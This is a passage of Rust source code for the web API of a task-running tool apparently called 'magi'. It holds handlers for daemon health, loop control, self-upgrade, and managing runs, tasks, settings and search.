1822 idle: Option<bool>,
1823 pid: Option<u32>,
1824 current: Vec<daemon::Current>,
1828 completed: Option<u64>,
1829 stale_for_secs: Option<i64>,
1830}
1831
1832impl DaemonView {
1833 fn of(status: Option<daemon::Reading>) -> Self {
1837 let Some(status) = status else {
1838 return Self {
1839 running: false,
1840 idle: None,
1841 pid: None,
1842 current: Vec::new(),
1843 completed: None,
1844 stale_for_secs: None,
1845 };
1846 };
1847 let now = Timestamp::now();
1848 let age = status.age_secs(now);
1849 Self {
1850 running: status.running(now),
1851 idle: Some(status.idle),
1852 pid: status.pid,
1853 current: status.current,
1854 completed: Some(status.completed),
1855 stale_for_secs: age,
1856 }
1857 }
1858}
1859
1860async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1861 blocking(move || {
1862 let reading = daemon::read_status(&ui.home);
1866 let loop_rev = ui.lock_loop().rev;
1870 let cfg = deputy_config(&ui.repo);
1873 let update = cached_update_view(cfg.as_ref());
1874 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1875 Ok(Json(HealthView {
1876 version: env!("CARGO_PKG_VERSION"),
1877 home: ui.home.display().to_string(),
1878 queue_rev: ui.queue.revision(),
1879 runs_rev: runs_revision(&ui.runs),
1880 questions_rev: ui.questions.revision(),
1881 talks_rev: ui.talks.revision(),
1882 notifications_rev: ui.notices.revision(),
1883 notifications_unread: ui.notices.count_unread(),
1884 loop_rev,
1885 runs_unreadable: runs_unreadable(&ui.runs),
1886 questions_open: ui.questions.count_open(),
1887 questions_needs_owner: ui.questions.count_needs_owner(),
1888 daemon: DaemonView::of(reading.clone()),
1889 looping: ui.loop_view(reading),
1890 disk: DiskView::of(&ui, cfg.as_ref()),
1891 update,
1892 upgrade,
1893 }))
1894 })
1895 .await
1896}
1897
1898#[derive(Debug, Serialize)]
1900struct LoopView {
1901 running: bool,
1903 stopping: bool,
1911 parking: bool,
1919 owned: bool,
1927 repo: String,
1930 merge: Option<String>,
1933 last_error: Option<String>,
1941 daemon: DaemonView,
1944}
1945
1946#[derive(Debug, Clone, Copy)]
1955struct Foreign {
1956 pid: Option<u32>,
1958}
1959
1960impl Foreign {
1961 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1964 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
1968 }
1969
1970 fn who(&self) -> String {
1973 match self.pid {
1974 Some(pid) => format!("another magi process (pid {pid})"),
1975 None => "another magi process".to_owned(),
1976 }
1977 }
1978}
1979
1980type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1985
1986fn launch_daemon(
1988 opts: daemon::Opts,
1989 stop: daemon::Stop,
1990) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1991 Box::pin(daemon::serve_until(opts, stop))
1992}
1993
1994#[derive(Debug, Default)]
1996struct LoopState {
1997 live: Option<Live>,
1999 rev: u64,
2007 last_error: Option<String>,
2010 resume_after_handover: bool,
2015}
2016
2017#[derive(Debug)]
2019struct Live {
2020 stop: daemon::Stop,
2022 handle: tokio::task::JoinHandle<()>,
2027 opts: daemon::Opts,
2031}
2032
2033impl Live {
2034 fn alive(&self) -> bool {
2036 !self.handle.is_finished()
2037 }
2038}
2039
2040fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2047 state.lock().unwrap_or_else(PoisonError::into_inner)
2048}
2049
2050async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2052 blocking(move || {
2053 let reading = daemon::read_status(&ui.home);
2054 Ok(Json(ui.loop_view(reading)))
2055 })
2056 .await
2057}
2058
2059#[derive(Debug, Deserialize)]
2065#[serde(deny_unknown_fields)]
2066struct LoopCommand {
2067 running: bool,
2068 #[serde(default)]
2078 park: bool,
2079}
2080
2081async fn loop_post(
2089 State(ui): State<Arc<Ui>>,
2090 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2091) -> ApiResult<Json<LoopView>> {
2092 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2095 blocking(move || {
2096 let reading = daemon::read_status(&ui.home);
2097 let foreign = Foreign::of(reading.as_ref());
2098 if body.running {
2099 ui.start_loop(foreign)?;
2100 } else {
2101 ui.stop_loop(foreign, body.park)?;
2102 }
2103 Ok(Json(ui.loop_view(reading)))
2104 })
2105 .await
2106}
2107
2108#[derive(Debug, Serialize)]
2110struct UpgradeView {
2111 from: String,
2113 to: Option<String>,
2115 parked: Option<String>,
2117 detail: String,
2119}
2120
2121async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2145 let reading = daemon::read_status(&ui.home);
2146 if let Some(other) = Foreign::of(reading.as_ref()) {
2147 return Err(ApiError::conflict(format!(
2148 "the loop belongs to {}, so replacing this binary would leave \
2149 that process running an old one against the same queue. Upgrade \
2150 where it was started.",
2151 other.who()
2152 )));
2153 }
2154
2155 if crate::updater::disabled_by_env() {
2161 return Ok((
2162 StatusCode::OK,
2163 Json(UpgradeView {
2164 from: env!("CARGO_PKG_VERSION").to_owned(),
2165 to: None,
2166 parked: None,
2167 detail: format!(
2168 "Automatic updates are disabled by {}. Nothing was parked \
2169 and nothing restarted.",
2170 crate::updater::NO_AUTOUPDATE_ENV
2171 ),
2172 }),
2173 ));
2174 }
2175
2176 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2181 let from = env!("CARGO_PKG_VERSION").to_owned();
2182 let latest = match crate::updater::Checker::new(&cfg.update) {
2183 Some(checker) => checker
2184 .newer_release()
2185 .await
2186 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2187 None => None,
2188 };
2189 let Some(latest) = latest else {
2190 return Ok((
2191 StatusCode::OK,
2192 Json(UpgradeView {
2193 from,
2194 to: None,
2195 parked: None,
2196 detail: "Already on the newest release. Nothing was parked \
2197 and nothing restarted."
2198 .to_owned(),
2199 }),
2200 ));
2201 };
2202
2203 let parked = ui.park_for_upgrade()?;
2206 let detail = match &parked {
2207 Some(run) => format!(
2212 "Run {} is parking at its next step, which can take as long as \
2213 the step it is on - up to an hour for an implement wave. The \
2214 deck replaces itself once it parks, comes back, and the loop \
2215 carries that run on from where it stopped. Nothing is lost if \
2216 you close this.",
2217 crate::run::short_of(run)
2218 ),
2219 None => "The deck replaces itself and comes back. Nothing was in \
2220 flight to park."
2221 .to_owned(),
2222 };
2223
2224 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2228 progress.parked_run = parked.clone();
2229 let _ = updater::write_progress(&ui.home, &progress);
2230
2231 let home = ui.home.clone();
2232 let looping = ui.looping();
2233 tokio::spawn(async move {
2234 if let Err(e) = upgrade_and_restart(home.clone()).await {
2235 tracing::error!("the upgrade did not complete: {e:#}");
2236 lock_or_recover(&looping).resume_after_handover = false;
2237 if let Some(mut progress) = updater::read_progress(&home) {
2238 progress.fail(format!("{e:#}"));
2239 let _ = updater::write_progress(&home, &progress);
2240 }
2241 }
2242 });
2243
2244 Ok((
2245 StatusCode::ACCEPTED,
2246 Json(UpgradeView {
2247 from,
2248 to: Some(latest.tag_name),
2249 parked,
2250 detail,
2251 }),
2252 ))
2253}
2254
2255async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2260 crate::updater::run_self_update(true, false, true).await?;
2263 tracing::info!("binary replaced - asking the server to hand over");
2264 if let Some(mut progress) = updater::read_progress(&home) {
2265 progress.advance(updater::Stage::Replaced);
2266 let _ = updater::write_progress(&home, &progress);
2267 }
2268 HANDOVER.notify_one();
2269 Ok(())
2270}
2271
2272#[derive(Debug, Serialize)]
2278struct RunSummary {
2279 id: String,
2280 short: String,
2281 status: String,
2282 done: bool,
2283 instruction: String,
2284 title: String,
2285 repo: String,
2286 repo_name: String,
2287 created_at: String,
2288 updated_at: String,
2289 candidates: usize,
2290 viable: usize,
2291 judges: usize,
2292 winner: Option<char>,
2293 reviews: usize,
2294 quota_losses: usize,
2295 event: Option<String>,
2296 superseded_by: Option<String>,
2301 waiting: bool,
2308 live: crate::run::Liveness,
2312 pr: Option<crate::run::PrRecord>,
2314 unmerged_by_design: bool,
2320 origin_label: String,
2323}
2324
2325impl RunSummary {
2326 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2327 Self {
2328 id: state.id.clone(),
2329 short: state.short().to_owned(),
2330 status: status_word(state.status),
2331 done: state.status.done(),
2332 unmerged_by_design: state.unmerged_by_design(),
2333 instruction: state.instruction.clone(),
2334 title: title_from(&state.instruction, TITLE_MAX),
2335 repo: state.repo.display().to_string(),
2336 repo_name: state
2337 .repo
2338 .file_name()
2339 .map(|n| n.to_string_lossy().into_owned())
2340 .unwrap_or_default(),
2341 created_at: state.created_at.to_string(),
2342 updated_at: state.updated_at.to_string(),
2343 candidates: state.candidates.len(),
2344 viable: state.viable().len(),
2345 judges: state.config.graph.judges,
2346 winner: state.winner().map(|c| c.label),
2347 reviews: state.reviews.len(),
2348 quota_losses: state.quota.len(),
2349 event: state.events.last().map(|e| e.message.clone()),
2350 waiting,
2351 live,
2352 superseded_by: None,
2355 pr: state.pr.clone(),
2356 origin_label: crate::run::origin_label(state.origin.as_ref()),
2357 }
2358 }
2359}
2360
2361fn status_word(status: RunStatus) -> String {
2364 status.as_str().to_owned()
2368}
2369
2370#[derive(Debug, Deserialize)]
2372struct ListQuery {
2373 #[serde(default)]
2374 limit: Option<usize>,
2375}
2376
2377async fn runs_list(
2378 State(ui): State<Arc<Ui>>,
2379 Query(q): Query<ListQuery>,
2380) -> ApiResult<Json<Vec<RunSummary>>> {
2381 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2382 blocking(move || {
2383 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2384 let states = run_ids(&ui.runs)
2385 .into_iter()
2386 .filter_map(|id| read_run(&ui.runs, &id).ok())
2391 .take(limit);
2392 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2393 let summaries = summarize(
2394 states,
2395 &open_runs,
2396 &claimed,
2397 &superseded,
2398 |p| probe.borrow_mut().status(p),
2399 |p| probe.borrow_mut().started_at(p),
2400 );
2401 Ok(Json(summaries))
2402 })
2403 .await
2404}
2405
2406fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2411 let open_runs: HashSet<String> = ui
2412 .questions
2413 .list()
2414 .into_iter()
2415 .filter(|q| q.status.open())
2416 .map(|q| q.run)
2417 .collect();
2418 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2419 .into_iter()
2420 .map(|c| c.run)
2421 .collect();
2422 (open_runs, claimed, ui.queue.superseded())
2423}
2424
2425fn summarize<I, S, D>(
2431 states: I,
2432 open_runs: &HashSet<String>,
2433 claimed: &HashSet<String>,
2434 superseded: &HashMap<String, String>,
2435 mut status_q: S,
2436 mut identity_q: D,
2437) -> Vec<RunSummary>
2438where
2439 I: IntoIterator<Item = RunState>,
2440 S: FnMut(u32) -> Option<bool>,
2441 D: FnMut(u32) -> Option<String>,
2442{
2443 states
2444 .into_iter()
2445 .map(|state| {
2446 let waiting = open_runs.contains(&state.id);
2447 let live =
2448 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2449 let mut row = RunSummary::of(&state, waiting, live);
2450 row.superseded_by = superseded
2451 .get(&state.id)
2452 .map(String::as_str)
2453 .map(crate::run::short_of)
2454 .map(str::to_owned);
2455 row
2456 })
2457 .collect()
2458}
2459
2460#[derive(Debug, Serialize)]
2467struct RunDetailView {
2468 #[serde(flatten)]
2469 state: RunState,
2470 instruction_md: Vec<md::Node>,
2471 #[serde(flatten)]
2475 prose_md: RunProseMd,
2476 live: crate::run::Liveness,
2491 unmerged_by_design: bool,
2496 done: bool,
2501 superseded_by: Option<String>,
2509 latest_attempt: Option<LatestAttempt>,
2523 task: Option<TaskRef>,
2526 origin_label: String,
2530}
2531
2532#[derive(Debug, Serialize)]
2534struct TaskRef {
2535 id: String,
2536 short: String,
2537 title: String,
2538 source_label: String,
2540 source_link: Option<SourceLink>,
2542 status: &'static str,
2544 attempts: usize,
2545 max_attempts: usize,
2546 is_latest: bool,
2548 latest: Option<RunBrief>,
2550 finished_by: Option<RunBrief>,
2552 closed_by_hand: bool,
2554}
2555
2556#[derive(Debug, PartialEq, Eq, Serialize)]
2558struct SourceLink {
2559 kind: &'static str,
2561 id: String,
2563 href: String,
2565}
2566
2567fn encode_segment(raw: &str) -> String {
2569 let mut out = String::with_capacity(raw.len());
2570 for b in raw.bytes() {
2571 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2572 out.push(b as char);
2573 } else {
2574 out.push_str(&format!("%{b:02X}"));
2575 }
2576 }
2577 out
2578}
2579
2580fn source_link(source: &Source) -> Option<SourceLink> {
2584 let Source::Agent { run, node } = source else {
2585 return None;
2586 };
2587 let (kind, route) = if node == crate::queue::CHAT_NODE {
2588 ("chat", "chat")
2589 } else {
2590 ("run", "runs")
2591 };
2592 Some(SourceLink {
2593 kind,
2594 id: run.clone(),
2595 href: format!("#/{route}/{}", encode_segment(run)),
2596 })
2597}
2598
2599#[derive(Debug, Serialize)]
2601struct RunBrief {
2602 id: String,
2603 short: String,
2604 status: Option<&'static str>,
2606 outcome: String,
2608}
2609
2610fn task_outcome(
2613 task: &Task,
2614 this_run: &str,
2615 max_attempts: usize,
2616 read: impl Fn(&str) -> Option<RunState>,
2617) -> TaskRef {
2618 let history = task_history(task, read);
2619 let brief = |h: &TaskRunView| RunBrief {
2620 id: h.id.clone(),
2621 short: h.short.clone(),
2622 status: h.status,
2623 outcome: h.exit.edge_label(h.status),
2624 };
2625 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2626 let latest = if is_latest {
2627 None
2628 } else {
2629 history.last().map(brief)
2630 };
2631 let done = task.status == TaskStatus::Done;
2632 let finished_by = done
2633 .then(|| {
2634 history
2635 .iter()
2636 .rev()
2637 .find(|h| {
2638 matches!(
2639 h.exit,
2640 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2641 )
2642 })
2643 .map(brief)
2644 })
2645 .flatten();
2646 TaskRef {
2647 short: task.short().to_owned(),
2648 title: task.title.clone(),
2649 id: task.id.clone(),
2650 source_label: task.source.label(),
2651 source_link: source_link(&task.source),
2652 status: task.status.as_str(),
2653 attempts: task.attempts,
2654 max_attempts,
2655 is_latest,
2656 latest,
2657 closed_by_hand: done && finished_by.is_none(),
2658 finished_by,
2659 }
2660}
2661
2662#[derive(Debug, Serialize)]
2664struct LatestAttempt {
2665 id: String,
2666 short: String,
2667 resolved: bool,
2678 status: RunStatus,
2681 done: bool,
2683}
2684
2685#[derive(Debug, Default, Serialize)]
2687struct RunProseMd {
2688 advice_md: Option<AdviceMd>,
2690 candidate_summaries_md: Vec<Vec<md::Node>>,
2692 reviews_md: Vec<RoundMd>,
2694}
2695
2696#[derive(Debug, Default, Serialize)]
2697struct AdviceMd {
2698 synthesis: Vec<md::Node>,
2699 approaches: Vec<Vec<md::Node>>,
2701}
2702
2703#[derive(Debug, Default, Serialize)]
2704struct RoundMd {
2705 reviewers: Vec<ReviewerMd>,
2707 reconsideration: Vec<Vec<md::Node>>,
2709 fix: Option<FixMd>,
2710}
2711
2712#[derive(Debug, Default, Serialize)]
2713struct ReviewerMd {
2714 summary: Vec<md::Node>,
2715 findings: Vec<Vec<md::Node>>,
2717}
2718
2719#[derive(Debug, Default, Serialize)]
2720struct FixMd {
2721 notes: Vec<md::Node>,
2722 rejected: Vec<Vec<md::Node>>,
2724}
2725
2726fn run_prose_md(state: &RunState) -> RunProseMd {
2728 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
2729 RunProseMd {
2730 advice_md: state.advice.as_ref().map(|a| AdviceMd {
2731 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
2732 approaches: a
2733 .records
2734 .iter()
2735 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
2736 .collect(),
2737 }),
2738 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
2739 reviews_md: state
2740 .reviews
2741 .iter()
2742 .map(|round| RoundMd {
2743 reviewers: round
2744 .reviews
2745 .iter()
2746 .map(|rec| ReviewerMd {
2747 summary: nodes(&rec.summary),
2748 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
2749 })
2750 .collect(),
2751 reconsideration: round
2752 .reconsideration
2753 .iter()
2754 .map(|rv| nodes(&rv.reason))
2755 .collect(),
2756 fix: round.fix.as_ref().map(|fix| FixMd {
2757 notes: nodes(&fix.notes),
2758 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
2759 }),
2760 })
2761 .collect(),
2762 }
2763}
2764
2765impl RunDetailView {
2766 fn of(
2767 state: RunState,
2768 live: crate::run::Liveness,
2769 superseded_by: Option<String>,
2770 latest_attempt: Option<LatestAttempt>,
2771 task: Option<TaskRef>,
2772 ) -> Self {
2773 Self {
2774 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2775 prose_md: run_prose_md(&state),
2776 origin_label: crate::run::origin_label(state.origin.as_ref()),
2777 live,
2778 unmerged_by_design: state.unmerged_by_design(),
2779 done: state.status.done(),
2780 superseded_by,
2781 latest_attempt,
2782 task,
2783 state,
2784 }
2785 }
2786}
2787
2788async fn run_detail(
2789 State(ui): State<Arc<Ui>>,
2790 Path(id): Path<String>,
2791) -> ApiResult<Json<RunDetailView>> {
2792 blocking(move || {
2793 let id = resolve_run(&ui.runs, &id)?;
2794 let state = read_run(&ui.runs, &id)?;
2795 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2796 let live = state.liveness(daemon_claims);
2797 let superseded_by = ui
2798 .queue
2799 .superseded_by(&id)
2800 .as_deref()
2801 .map(crate::run::short_of)
2802 .map(str::to_owned);
2803 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2807 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2808 short: head.short().to_owned(),
2809 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2810 status: head.status,
2811 done: head.status.done(),
2812 id: head.id,
2813 })
2814 });
2815 let max_attempts = daemon::Opts::default().max_attempts;
2816 let task = ui
2817 .queue
2818 .list()
2819 .into_iter()
2820 .find(|t| t.runs.contains(&id))
2821 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
2822 Ok(Json(RunDetailView::of(
2823 state,
2824 live,
2825 superseded_by,
2826 latest_attempt,
2827 task,
2828 )))
2829 })
2830 .await
2831}
2832
2833async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2842 let (id, unreadable) = {
2843 let ui = Arc::clone(&ui);
2844 blocking(move || {
2845 let id = resolve_run(&ui.runs, &id)?;
2846 match read_run(&ui.runs, &id) {
2847 Ok(state) => {
2848 let in_flight =
2849 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2850 state
2851 .ensure_can_delete(in_flight)
2852 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2853 let dir = ui.runs.join(&id);
2854 std::fs::remove_dir_all(&dir)
2855 .with_context(|| format!("remove run directory {}", dir.display()))?;
2856 Ok((id, false))
2857 }
2858 Err(_) => {
2859 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2863 return Err(ApiError::conflict(format!(
2864 "run {id} is being worked on by a live daemon right now"
2865 )));
2866 }
2867 Ok((id, true))
2868 }
2869 }
2870 })
2871 .await?
2872 };
2873 if unreadable {
2874 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2875 .await
2876 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2877 }
2878 let ui = Arc::clone(&ui);
2879 let done = id.clone();
2880 blocking(move || {
2881 ui.questions.abandon_for_run(
2884 &done,
2885 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2886 )?;
2887 Ok(())
2888 })
2889 .await?;
2890 Ok(StatusCode::NO_CONTENT)
2891}
2892
2893async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2917 let (id, state) = {
2918 let ui = Arc::clone(&ui);
2919 blocking(move || {
2920 let id = resolve_run(&ui.runs, &id)?;
2921 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2922 return Err(ApiError::conflict(format!(
2923 "run {id} is being worked on by a live daemon right now"
2924 )));
2925 }
2926 let state = read_run(&ui.runs, &id).ok();
2927 Ok((id, state))
2928 })
2929 .await?
2930 };
2931 let removed = match state {
2932 Some(mut state) => {
2933 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2934 .await
2935 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2936 if removed.is_empty() {
2941 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2942 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2943 }
2944 removed
2945 }
2946 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2947 .await
2948 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2949 };
2950 Ok(Json(FoldView {
2951 run: id,
2952 removed_count: removed.len(),
2953 removed,
2954 }))
2955}
2956
2957#[derive(Debug, Serialize)]
2959struct FoldView {
2960 run: String,
2961 removed: Vec<String>,
2963 removed_count: usize,
2964}
2965
2966#[derive(Debug, Deserialize)]
2969struct FoldMergedBody {
2970 #[serde(default)]
2971 pr_url: String,
2972}
2973
2974async fn run_fold_merged(
2994 State(ui): State<Arc<Ui>>,
2995 Path(id): Path<String>,
2996 Json(body): Json<FoldMergedBody>,
2997) -> ApiResult<Json<FoldMergedView>> {
2998 let pr_url = body.pr_url.trim().to_owned();
2999 if pr_url.is_empty() {
3000 return Err(ApiError::bad_request("pr_url is required"));
3001 }
3002 let (id, mut state) = {
3003 let ui = Arc::clone(&ui);
3004 blocking(move || {
3005 let id = resolve_run(&ui.runs, &id)?;
3006 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3007 return Err(ApiError::conflict(format!(
3008 "run {id} is being worked on by a live daemon right now"
3009 )));
3010 }
3011 let state = read_run(&ui.runs, &id)?;
3012 Ok((id, state))
3013 })
3014 .await?
3015 };
3016 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3017 .await
3018 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3019 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3020 .await
3021 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3022 Ok(Json(FoldMergedView {
3023 run: id,
3024 before: before.as_str().to_owned(),
3025 after: after.as_str().to_owned(),
3026 removed,
3027 }))
3028}
3029
3030#[derive(Debug, Serialize)]
3032struct FoldMergedView {
3033 run: String,
3034 before: String,
3036 after: String,
3038 removed: Vec<String>,
3040}
3041
3042async fn run_resume(
3062 State(ui): State<Arc<Ui>>,
3063 Path(id): Path<String>,
3064) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3065 let (id, state) = {
3066 let ui = Arc::clone(&ui);
3067 blocking(move || {
3068 let id = resolve_run(&ui.runs, &id)?;
3069 let state = read_run(&ui.runs, &id)?;
3070 Ok((id, state))
3071 })
3072 .await?
3073 };
3074 if let Some(to) = &state.released_to {
3075 return Err(ApiError::conflict(format!(
3076 "run {} can no longer be resumed: its worktree was released to run {}, which \
3077 took the branch over.",
3078 state.short(),
3079 crate::run::short_of(to)
3080 )));
3081 }
3082 if !state.status.resumable() {
3083 return Err(ApiError::conflict(format!(
3084 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3085 state.short(),
3086 status_word(state.status)
3087 )));
3088 }
3089 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3094 .into_iter()
3095 .next()
3096 {
3097 return Err(ApiError::conflict(format!(
3098 "the loop is running run {} right now; stop it first, or wait for \
3099 it to finish, before resuming a run by hand.",
3100 crate::run::short_of(&work.run)
3101 )));
3102 }
3103 let _resume = ui.begin_resume(&id)?;
3104
3105 let queued = RunSummary::of(
3108 &state,
3109 !ui.questions.open_for(&id).is_empty(),
3110 state.liveness(false),
3111 );
3112 let run = id.clone();
3113 tokio::spawn(async move {
3114 let _resume = _resume;
3115 match crate::graph::Runner::resume(&run) {
3116 Ok(mut runner) => {
3117 if let Err(e) = runner.execute().await {
3118 tracing::warn!("resume of run {run} stopped: {e:#}");
3119 }
3120 }
3121 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3124 }
3125 });
3126 Ok((StatusCode::ACCEPTED, Json(queued)))
3127}
3128
3129async fn run_report(
3130 State(ui): State<Arc<Ui>>,
3131 Path(id): Path<String>,
3132) -> ApiResult<impl IntoResponse> {
3133 let text = blocking(move || {
3134 let id = resolve_run(&ui.runs, &id)?;
3135 let state = read_run(&ui.runs, &id)?;
3139 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3140 let live = state.liveness(daemon_claims);
3141 Ok(format!(
3142 "{}{}",
3143 report::run(&state),
3144 report::active_seats(&state, live)
3145 ))
3146 })
3147 .await?;
3148 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3149}
3150
3151#[derive(Debug, Serialize)]
3157struct TaskView {
3158 #[serde(flatten)]
3159 task: Task,
3160 source_label: String,
3161 source_link: Option<SourceLink>,
3162 status_str: &'static str,
3163 instruction_md: Vec<md::Node>,
3167 waits_on: Vec<String>,
3171 stuck_roots: Vec<String>,
3174}
3175
3176impl From<Task> for TaskView {
3177 fn from(task: Task) -> Self {
3178 Self {
3179 source_label: task.source.label(),
3180 source_link: source_link(&task.source),
3181 status_str: task.status.as_str(),
3182 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3183 waits_on: Vec::new(),
3184 stuck_roots: Vec::new(),
3185 task,
3186 }
3187 }
3188}
3189
3190impl TaskView {
3191 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3192 let waits_on = inv.waits_on(&task);
3193 let stuck_roots = inv
3194 .stuck_roots(&task)
3195 .iter()
3196 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3197 .collect();
3198 Self {
3199 waits_on,
3200 stuck_roots,
3201 ..Self::from(task)
3202 }
3203 }
3204}
3205
3206#[derive(Debug, Default, Deserialize)]
3209#[serde(default)]
3210struct ReposQuery {
3211 refresh: u8,
3212}
3213
3214async fn repos_list(
3221 State(ui): State<Arc<Ui>>,
3222 Query(q): Query<ReposQuery>,
3223) -> ApiResult<Json<Vec<repos::Repo>>> {
3224 let refresh = q.refresh != 0;
3225 blocking(move || {
3226 let (cfg, _) = Config::discover(&ui.repo, None)?;
3227 Ok(Json(ui.repos_cache.list(
3228 &cfg.repos.roots,
3229 Duration::from_secs(cfg.repos.scan_ttl),
3230 refresh,
3231 )))
3232 })
3233 .await
3234}
3235
3236async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3240 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3241}
3242
3243#[derive(Debug, Deserialize)]
3245#[serde(deny_unknown_fields)]
3246struct RolesBody {
3247 revision: String,
3249 roles: std::collections::BTreeMap<String, Vec<String>>,
3251}
3252
3253async fn settings_put_roles(
3259 State(ui): State<Arc<Ui>>,
3260 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3261) -> ApiResult<Json<settings::SettingsView>> {
3262 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3263 blocking(move || {
3264 settings::save(
3265 &ui.repo,
3266 ui.machine_config.as_deref(),
3267 &body.revision,
3268 &body.roles,
3269 )
3270 .map(Json)
3271 .map_err(|e| match e {
3272 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3273 settings::SaveError::Refused(m) => ApiError {
3274 status: StatusCode::UNPROCESSABLE_ENTITY,
3275 message: m,
3276 },
3277 settings::SaveError::Internal(m) => ApiError::internal(m),
3278 })
3279 })
3280 .await
3281}
3282
3283async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
3284 blocking(move || {
3285 let tasks = ui.queue.list();
3286 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3287 Ok(Json(
3288 tasks
3289 .into_iter()
3290 .map(|t| TaskView::with_inventory(t, &inv))
3291 .collect(),
3292 ))
3293 })
3294 .await
3295}
3296
3297const SEARCH_MAX_HITS: usize = 100;
3299const SEARCH_MAX_QUERY: usize = 200;
3301const SEARCH_MAX_TERMS: usize = 8;
3302const SNIPPET_BEFORE: usize = 50;
3304const SNIPPET_AFTER: usize = 110;
3305
3306#[derive(Debug, Deserialize)]
3308struct SearchQuery {
3309 #[serde(default)]
3310 scope: String,
3311 #[serde(default)]
3312 q: String,
3313}
3314
3315#[derive(Debug, Serialize, PartialEq, Eq)]
3318struct SnippetPart {
3319 text: String,
3320 hit: bool,
3321}
3322
3323#[derive(Debug, Serialize)]
3324struct SearchHit {
3325 id: String,
3326 field: String,
3328 snippet: Vec<SnippetPart>,
3329 #[serde(skip_serializing_if = "Option::is_none")]
3333 run: Option<RunSummary>,
3334}
3335
3336#[derive(Debug, Serialize)]
3337struct SearchView {
3338 scope: String,
3339 q: String,
3340 hits: Vec<SearchHit>,
3342 total: usize,
3344 truncated: bool,
3345 unreadable: usize,
3348}
3349
3350fn text_leaves<'a>(
3353 value: &'a serde_json::Value,
3354 field: &'a str,
3355 out: &mut Vec<(&'a str, &'a str)>,
3356) {
